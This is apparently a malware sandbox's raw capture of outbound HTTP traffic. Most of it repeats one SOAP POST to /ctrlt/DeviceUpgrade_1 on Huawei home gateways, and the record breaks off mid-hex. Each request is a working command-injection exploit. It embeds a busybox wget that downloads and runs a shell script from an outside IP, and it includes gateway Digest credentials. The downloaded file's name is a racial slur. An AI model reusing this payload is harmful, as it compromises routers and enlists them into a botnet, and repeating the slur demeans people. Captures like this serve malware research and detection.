70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.488903999 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.447731018 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:19.365216017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	58278	31.136.248.203	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:43.788677931 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.362195015 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:45.481942892 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.881642103 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:52.488936901 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.447735071 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 